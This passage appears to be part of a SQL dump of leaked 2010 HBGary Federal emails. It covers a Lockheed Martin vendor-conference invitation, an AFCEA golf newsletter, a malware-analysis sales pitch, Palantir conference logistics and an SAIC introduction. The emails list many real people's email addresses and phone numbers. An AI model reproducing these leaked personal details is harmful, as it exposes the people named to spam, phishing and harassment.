Andrew@pikeworks.com;\r\n> Theresa_Pines@sra.com; jim_costabile@sra.com; rabauno@sra.com;\r\n> Timothy.j.McCowan@boeing.com; sandra.m.drews@boeing.com;\r\n> arlamb@raytheon.com; jcharters@raytheon.com; kevin_grant@raytheon.com;\r\n> anita.c.hyink@saic.com; parir@saic.com; david.v.szczesniak@saic.com;\r\n> Jason.Syversen@Siegetechnologies.com; sam.corbitt@siegetechnologies.com;\r\n> justin.wilder@siegetechnologies.com; jr@spc.biz; wkee@sierra-peaks.com;\r\n> sales@spc.biz; jackies@signalscape.com; kathyc@signalscape.com;\r\n> mikel@signalscape.com; michael.elliott@signalscape.com; ccarroll@sigovs.com;\r\n> hray@sigovs.com; pjaynes@sigovs.com; michael.r.stevenson@raytheon.com;\r\n> sbo@sparta.com; daniel.edwards@sparta.com; drp@sparta.com;\r\n> larry.tu@sparta.com; john.swanson@sparta.com; kjogerst@srcinc.com;\r\n> dbernero@srcinc.com; jones@srcinc.com; wilkerson@srcinc.com;\r\n> ahmad@syrres.com; margaret.baxter-pearson@sri.com;\r\n> joann.hodges-velayo@sri.com; karl.steadman@sri.com; howard.mohn@sri.com;\r\n> jerry.demoney@sri.com; philip.oakley@sri.com; mjh@talisman-intl.com;\r\n> mocchionero@talisman-intl.com; mives@talisman-intl.com;\r\n> gjohnson@talisman-intl.com; deareen.draddy@tekassoc.com; henry@tekassoc.com;\r\n> matt@tekassoc.com; robert.mauck@tekassoc.com; jason.yates@teligy.com;\r\n> vic.gunter@teligy.com; Debbie.Majors@teligy.com;\r\n> mspeicher@telemussolutions.com; knorosky@telemussolutions.com;\r\n> gpage@telemussolutions.com; john.garrison@wyle.com; jim.neu@wyle.com;\r\n> Thomas.frey@wyle.com; peter.green@wyle.com; Frost, Clifford (EXP\r\n> X-UniNetworks); lorice@uninetworks.com; Richard.Tait@unisys.com;\r\n> jim.dieterle@vangent.com; donn.pokorny@verizon.net; dlgreen@fns.vzunet.com;\r\n> leshinm@varentech.com; weidowp@varentech.com; clute-rich@zai.com;\r\n> mkwilsh@zai.com; michael.briones@macb.com; patricia.black@macb.com;\r\n> orion.larson@macb.com; dsidhu@telenix.com; god@veritegroup.com;\r\n> Susan.morabito@ngc.com; rsidhu@telenix.com; fpowell@telenix.com\r\n> Cc: Mai, Richard E; Racz, James M; Chapman, Martha; Watson, Charles M\r\n> Subject: Invitation to UNO Vendor Conference\r\n>\r\n>\r\n>\r\n> All,\r\n>\r\n>\r\n>\r\n> The Lockheed Martin UNO Program Office is hosting the UNO Vendor Conference\r\n> on 18 March, 2010.  This is your opportunity to meet other UNO vendors, ask\r\n> questions about the UNO task order process, and obtain information on what\r\n> is planned for UNO in 2010.  A preliminary agenda and directions to the\r\n> Lockheed Martin DEPII building are attached.\r\n>\r\n>\r\n>\r\n> The Vendor Conference  is not an authorized UNO Contract Charge.  The\r\n> Conference shall run from 0800 to approximately 1300.  Please try to limit\r\n> your attendees to two individuals. The Conference shall be conducted up to a\r\n> SECRET Level.\r\n>\r\n>\r\n>\r\n> The UNO DEP II Facility requires visit certifications per the following\r\n> instructions.  For registration and clearances, please send your clearance\r\n> information for yourself and/or your company\'s participants to the Martha\r\n> Chapman, NLT 15 March.  (Visit certs need to be sent following these\r\n> instructions, even if you believe you are perm certed for this facility.\r\n> The coversheet for the fax needs to include all information below in order\r\n> to be properly routed.  All applicable clearances should be sent.\r\n>\r\n>           Lockheed Martin DEP II\r\n>\r\n>           Event - UNO Vendor Conference\r\n>\r\n>           Date - 18 March 2010\r\n>\r\n> Security POC - Martha Chapman, Voice 703-466-3325, Unclas FAX 703-466-3340,\r\n> Secure\r\n>\r\n>  FAX 703-466-3321.\r\n>\r\n>           Technical POC - Jim Racz, 703-466-3314\r\n>\r\n> Upon arrival to check-in, you will need your driver\'s license (or other\r\n> gov\'t issued photo ID).\r\n>\r\n>\r\n>\r\n> Questions concerning this conference should be directed to Jim Racz, UNO\r\n> Chief Engineer.  Jim can be contacted at 703-466-3314 and at\r\n>  james.m.racz@lmco.com .\r\n>\r\n>\r\n>\r\n> I am looking forward to seeing all of you, and meeting some of you for the\r\n> first time.\r\n>\r\n>\r\n>\r\n> Rick Mai\r\n>\r\n> UNO Program Manager\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Charles Watson\r\n>\r\n> Lockheed Martin IS&GS\r\n>\r\n> Mult Func Purchasing Asc Mgr\r\n>\r\n> Phone - 703-466-1347\r\n>\r\n> Cell - 703-593-5728\r\n>\r\n> Fax - 703-466-1270\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n> 02:33:00\r\n>\r\n>\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9696,'aaron_hbgary_com/9696.html'),(4120,'2010-03-16','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002179.M942456P3547Q4120.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','The Invisible Things Lab\'s blog: Evil Maid goes after TrueCrypt!','http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html\r\n\r\nWould be cool to try out\r\n\r\n\r\n',13892,'aaron_hbgary_com/13892.html'),(4121,'2010-03-16','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297002180.M131747P3547Q4121.eml','aaron@hbgary.com','Spring has Almost Sprung - Apr 29 Golf Tournament Sponsorships and a few Player spots remain','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n  \r\n  \r\n    &nbsp;\r\n    \r\n      \r\n        \r\n        \r\n          Follow \r\n            AFCEA NOVA on\r\n            \r\n            \r\n        \r\n      \r\n    \r\n    &nbsp;\r\n  \r\n  \r\n    \r\n  \r\n  \r\n    &nbsp;\r\n    \r\n      \r\n        Home\r\n        About \r\n          AFCEA NOVA\r\n        Membership\r\n        Events\r\n        Contact \r\n          Us\r\n        AFCEA \r\n          Int\'l\r\n      \r\n    \r\n    &nbsp;\r\n  \r\n  \r\n    \r\n  \r\n   \r\n    \r\n      \r\n         \r\n        Golf Tournament - Apr 29 (Thu)\r\n        Spring has Almost Sprung...\r\n        Sponsorships &amp; \r\n        a few player spots remain!\r\n      Old Hickory \r\n        Golf Course\r\n        11921 Chanceford Drive\r\n        Woodbridge, Virginia 22192\r\n        Clubhouse Phone: 703-580-9000\r\n      Register \r\n        to Sponsor or Play in&nbsp;the Tournament\r\n              This year the tournament will once again&nbsp;be played at Old Hickory   Golf Course in Woodbridge, VA. This&nbsp;is our third time&nbsp;at this venue,   where&nbsp;the staff&nbsp;did such a great job for us in past years.\r\n\r\n      \r\n        \r\n          Details\r\n            SCHEDULE:\r\n            \r\n              Registration &amp; Lunch: 10:30AM\r\n              Driving Clinic w/ Golf   Pr &amp; Pre-Tee Driving Range\r\n              Putting Contest (at the Practice   Green)\r\n              Four-person Scramble, Shotgun Start: 12:00N\r\n              Awards   Presentation &amp; Dinner: 5:00PM\r\n            \r\n            COST:\r\n            \r\n              Industry: $450 per twosome\r\n              (max of 2 two-somes allowed per   company, unless you sponsor the event)\r\n              Government: $40 per   player\r\n              Sponsorships - All include twosomes this year - See Below\r\n              \r\n            \r\n                          PLAYER FEE INCLUDES:\r\n            \r\n              A great game of golf on a beautiful course\r\n              Networking   time with your customers, colleagues &amp; friends in Govt IT\r\n              Gov\'t   players randomly paired with Industry players, based on handicap;   (AFCEA is an ethical forum for exchange between Govt &amp; Industry; all   pairings - govt &amp; industry - are made by AFCEA NOVA; attendees   cannot enter as four-somes, nor request specific guests/pairings)\r\n              Soft   drinks, beer, bottled water, juice, snacks\r\n              Boxed lunch\r\n              Pre-dinner   open/hospitality Bar\r\n              Dinner\r\n              Golfer\'s goody bag, Player   Prizes &amp; Raffle Giveaways\r\n            \r\n            EARLY TOURNAMENT SPONSORS\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\nShirt Sponsor\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPhoto Sponsor\r\n&nbsp;\r\nAwards Sponsor\r\n&nbsp;\r\n&nbsp;Cigars Sponsor\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nClosest-to-the-Pin Sponsor\r\n&nbsp;\r\nDrink Barrels Sponsor\r\n&nbsp;\r\nHole-in-One Sponsor\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n&nbsp;Longest Drive Sponsor\r\n&nbsp;\r\n&nbsp;Longest Drive Sponsor\r\n&nbsp;\r\nPutting/Chipping Sponsor\r\n\r\n\r\n  &nbsp;\r\n  &nbsp;\r\n  &nbsp;\r\n  &nbsp;\r\n  &nbsp;\r\n\r\n\r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  &nbsp;\r\n\r\n\r\n  &nbsp;\r\n  &nbsp;\r\n  &nbsp;\r\n  &nbsp;\r\n  &nbsp;\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\nPutting/Chipping Sponsor\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n            SPONSORSHIP OPPORTUNITIES: \r\n            \r\n               Tournament Co-Host - $5,000 \r\n                (includes four players) \r\n              Dinner&nbsp;Sponsor - $3,500 (includes two \r\n                players) \r\n              Golf Pro Sponsor - $3,500 (includes two players)\r\n              SOLD - Shirt Sponsor - $3,500 (includes two players) - HP\r\n              Beverage Cart&nbsp;Sponsor - $3,000 (includes \r\n                two players) (2 slots available) \r\n              Lunch Sponsor - $3,000 (includes two players)\r\n              Golf Carts Sponsor - $2,500 (includes two players)\r\n              Hospitality Bar&nbsp;Sponsor (at Dinner) - \r\n                $2,500 (includes two players)\r\n              SOLD - Photo Sponsor - $2,500 (includes two players)  - IMC\r\n              SOLD - Awards Sponsor - $1,500 (includes two players)  - STG\r\n              SOLD - Message Chair Sponsor - $1,500 (includes two players)  - Information Builders\r\n              SOLD - Cigars Sponsor - $1,500 (includes two players)  - PROSOL Associates\r\n              SOLD - Closest-to-the-Pin Sponsor - $1,500 (includes \r\n                two players)  - Raytheon\r\n              SOLD - Drink Barrels Sponsor \r\n                - $1,500 (includes two players) - Security University\r\n              SOLD - Hole-in-One Sponsor \r\n                - $1,500 (includes two players) - Truestone\r\n              SOLD - Longest-Drive Sponsor - $1,500 (includes two \r\n                players)  - Booz Allen Hamilton\r\n              SOLD - Range Balls Sponsor - $1,500 (includes two \r\n                players)  - Guidance Software\r\n              SOLD - Putting/Chipping Sponsor - $1,500 (includes \r\n              two players)  - Symantec\r\n              Register \r\n                Online to Sponsor the Tournament &amp; Play\r\n            \r\n            To   discuss sponsoring the Tournament, please sign up online or contact:\r\n              \r\n            Greg Gorman, cell: 703-628-1238, email: golfsponsors@afceanova.org            \r\n            CORPORATE PRIZES:\r\n            Would Your Company Be Willing to Donate a prize(s) for raffle   giveaway at the event (we suggest a $75 value or greater)?\r\n            \r\n              Drivers\r\n              Wedges\r\n              Putters\r\n              Set of Clubs\r\n              Umbrellas\r\n              Golf   bags\r\n              Jackets\r\n              Ball Repair kits\r\n              Golf Pull - Cart\r\n              Restaurant   Certificates\r\n              Rounds of Golf\r\n              Lessons for Golf or Tennis\r\n              Sporting   Goods Certificates\r\n              Other good ideas? \r\n            \r\n            \r\n              To discuss donating Raffle Prizes, please contact:\r\n              Cary Osborne, email: cary.osborne@truestonefed.com            \r\n            \r\n              Ship to Address for Goody Bag Items...\r\n                Or, For more information on   the AFCEA NOVA Annual Golf Tournament...\r\n              \r\n                Please contact Golf Committee Chair:\r\n              \r\n            \r\n            Cary Osborne\r\n              Truestone Federal\r\n              428 Hume Ave,   2nd floor\r\n              Alexandria, VA 22301\r\n              tel: 703-766-6849\r\n          email: cary.osborne@truestonefed.com\r\n        \r\n    \r\n    \r\n    \r\n    \r\n    \r\n         \r\n          \r\n               \r\n                PLAN \r\n                    YOUR WINTER!\r\n                    ---------- \r\n                    AFCEA NOVA Upcoming Events\r\n                \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                Mar \r\n                    2010 Monthly Luncheon w/ GEN George Casey, Army Chief of Staff\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Mar 19 (Fri), 2010\r\n              \r\n               \r\n                9th \r\n                    Annual\r\n                    NAVAL IT DAY\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 15 (Thu), 2010\r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n    &nbsp;\r\n    \r\n  \r\n  \r\n    \r\n      \r\n        \r\n      \r\n      \r\n        Armed \r\n          Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n          U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n          email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',949,'aaron_hbgary_com/949.html'),(4122,'2010-03-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002180.M314532P3547Q4122.eml','\"Sandoval Jr, Jose (TASC Inc)\" <jose.sandoval@tasc.com>,\"Sandoval Jr, Jose (TASC Inc)\" <jose.sandoval@tasc.com>,','Automated Malware RE','Hi Jose,\r\n\r\nI was chatting with Lawrence earlier today and he asked about how\r\nHBGary could support your program.  I gave him a quick update on our\r\ndiscussions and mentioned that HBGary is working to productize our\r\nautomated Threat Management Center (that\'s what we\'re calling it for\r\nnow).  I know that you cannot get us the 20,000 malware samples\r\nbecause of security concerns, and it sounded like you didn\'t have\r\nbudget on contract to pay for our support to help you create an\r\nautomated RE architecture in-house.  Out of curiosity, when is the\r\nre-compete?\r\n\r\nPerhaps NG could put together a B&P or Strategic Initiative that would\r\nenable NG and HBGary to develop and demonstrate a significant\r\ndiscriminator for the upcoming proposal.  The last we spoke, HBGary\r\nwas automatically reverse engineering 5,000 malware samples per day.\r\nWe\'re now doing 17,000 per day.\r\n\r\nWhat do you think?\r\n\r\nTed\r\n',6612,'aaron_hbgary_com/6612.html'),(4123,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002180.M513421P3547Q4123.eml','\"Greg Hoglund\" <greg@hbgary.com>','Palantir','Greg,\r\n\r\nBased on your workings with palantir and session with geoff, is there\r\nanything worth showing at palantirs conference next month at a booth?\r\nWe could highlight the report and our use of palantir, the gmc, etc?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',10029,'aaron_hbgary_com/10029.html'),(4124,'2010-03-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002180.M713234P3547Q4124.eml','\"Timothy Ronan\" <tronan@palantirtech.com>,\"Timothy Ronan\" <tronan@palantirtech.com>,','Re: GovCon stuff','Tim,Give me until tomorrow.  NG will not be able to display because of timelines and approvals but HBGary might still want to.  I am checking with Greg and will let u know at latest tomorrow.\r\nSorry for delay.If we do display it would be the aurora report and how we used palantir and malware analysis and open source research to put it together.\r\nAaronFrom my iPhoneOn Mar 16, 2010, at 2:20 PM, Timothy Ronan &lt;tronan@palantirtech.com&gt; wrote:\r\n\r\n\r\nHi Brian and Aaron,\r\n \r\nJust following up on the two Emails below.  Will the HBGary/Xetron integration be ready for a demo booth at GovCon5?  If so, can you please provide the image\r\n file to specs below and company description.  These items are needed ASAP as the agenda book is in its final stages of formatting and being sent to the printer shortly.\r\n \r\nThanks,\r\nTim\r\n \r\n\r\n_________________________________________________________\r\nTim Ronan\r\nPalantir Technologies | Forward Deployed Engineer\r\ntronan@palantirtech.com | 571.225.6179\r\n_________________________________________________________\r\n\r\n \r\n\r\n\r\nFrom: Timothy Ronan\r\n\r\nSent: Thursday, March 11, 2010 10:21 AM\r\nTo: &#39;Aaron Barr&#39;\r\nCc: Masterson, Brian (Xetron); Matthew Steckman\r\nSubject: RE: GovCon stuff\r\n\r\n\r\n \r\nHi Aaron,\r\n \r\nNo problem, I can empathize with those overwhelming weeks we all have.  Any word on whether you would like me to hold your GovCon5 booth reservation?  If\r\n so, can you please provide the image file and company description requested below?\r\n \r\nThanks,\r\nTim\r\n \r\n\r\n_________________________________________________________\r\nTim Ronan\r\nPalantir Technologies | Forward Deployed Engineer\r\ntronan@palantirtech.com | 571.225.6179\r\n_________________________________________________________\r\n\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, March 02, 2010 2:26 PM\r\nTo: Timothy Ronan\r\nCc: Masterson, Brian (Xetron); Matthew Steckman\r\nSubject: Re: GovCon stuff\r\n\r\n\r\n \r\nHey guys,\r\n\r\n \r\n\r\n\r\nSorry I am just overwhelmed with Proposals all week.  I will talk with Brian and Greg to see what makes sense and get back with you soonest.\r\n\r\n\r\n \r\n\r\n\r\nAaron\r\n\r\n\r\n \r\n\r\n\r\nOn Mar 2, 2010, at 11:19 AM, Timothy Ronan wrote:\r\n\r\n \r\n\r\n\r\n\r\nHi Aaron, Brian,\r\n\r\n\r\n \r\n\r\n\r\nI hope your preparation for GovCon5 is going smoothly.  Is the HBGary/Xetron v0 integration still on target for the conference?\r\n\r\n\r\n\r\n \r\n\r\n\r\nI need a couple things from you to aid in conference preparation on our end.  Could you please provide a high-res (300 dpi) vector (.ai, .eps) or uncompressed TIFF format\r\n company logo (in this case one for each of your companies).  If this is not available, a high-res uncompressed jpeg is acceptable.  We will also need a 100 word description of your company and integration with Palantir.  A 100 word piece from each HBGary and\r\n Xetron is fine.\r\n\r\n\r\n \r\n\r\n\r\nA couple details on conference logistics:\r\n\r\n\r\n-          Partner\r\n booths will be a 10x7 space with a table, table skirt, and backdrop provided.  All other booth media (i.e. signage, demo material, company collateral) will need to be supplied by you.\r\n\r\n\r\n-          Setup\r\n will be available in the evening on Tuesday (4/6) or pre-conference on Wednesday (4/7).  Additional details to be available in the coming weeks.\r\n\r\n\r\n \r\n\r\n\r\nAdditionally, please let me know if your companies are interested in any of the sponsorship opportunities available.  Please do not feel obligated to be a sponsoring partner,\r\n I just wanted to remind you that the deadline to do so is approaching on Friday.\r\n\r\n\r\n \r\n\r\n\r\nPlease do not hesitate to contact Matt or myself with any questions as you prepare for the conference.\r\n\r\n\r\n\r\n \r\n\r\n\r\nCheers,\r\n\r\n\r\nTim\r\n\r\n\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\nTim Ronan\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\ntronan@palantirtech.com | 571.225.6179\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nFrom: Matthew\r\n Steckman \r\nSent: Monday, March 01, 2010 1:36 PM\r\nTo: Aaron Barr; Masterson, Brian (Xetron)\r\nCc: Timothy Ronan\r\nSubject: GovCon stuff\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\nAaron, Brian,\r\n\r\n\r\n \r\n\r\n\r\nTim Ronan is leading our GovCon coordination.  To maintain your demo station we reserved for you guys he’s going to need some basic info.  Ill let him pick up the thread\r\n from here.\r\n\r\n\r\n \r\n\r\n\r\nIn other random news, Aaron, you had asked me about web scraping vendors.  Out of the blue a rep from Cyveillance (http://www.cyveillance.com/)\r\n called me to chat partnership.  I believe they have the capability you were looking for.\r\n\r\n\r\n \r\n\r\n\r\n-Matt\r\n\r\n\r\n \r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\nAaron Barr\r\n\r\n\r\nCEO\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n',5387,'aaron_hbgary_com/5387.html'),(4125,'2010-03-17','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297002180.M918803P3547Q4125.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Virtual Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211; \r\n\r\n&nbsp;\r\n\r\nAnnouncement slipped til March 31\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 4:52 PM\r\nTo: Mulville, Michael E.\r\nSubject: Re: Virtual Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Mike,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust checking in. &nbsp;Last time we talked we didn\'t talk\r\nabout NANA. &nbsp;If you win are you guys going to need any staffing help?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave a good weekend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the note back.&nbsp; This week is a bit crazy,&nbsp;\r\nhow about next ?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, January 25,\r\n2010 11:29 PM\r\nTo:&nbsp;Mulville, Michael E.\r\nSubject:&nbsp;Re: Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI actually didn\'t head out to DC3. &nbsp;I will be out in\r\nColorado Springs most of next week. &nbsp;How does your week this week look.\r\n&nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the introduction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I&#8217;m meeting up with Bob Slapnik shortly to discuss\r\nneeds, and direction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI assuming your headed out to the DC3 show in St. Louis, but\r\nmight be a good idea to meet up, upon your return.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211; Mike Mulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matt O\'Flynn\r\n[mailto:matt@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, January\r\n21, 2010 1:50 PM\r\nTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n&amp; Michael,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nseeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our\r\nsubsidiary who is specializing in the services we discussed. See contact info\r\nbelow. Hopefully you will find one another&#8217;s capabilities very\r\ncomplementary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719-510-8478-Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\nMulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-622-9121\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael\r\nCourtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-306-5683\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\nO\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal 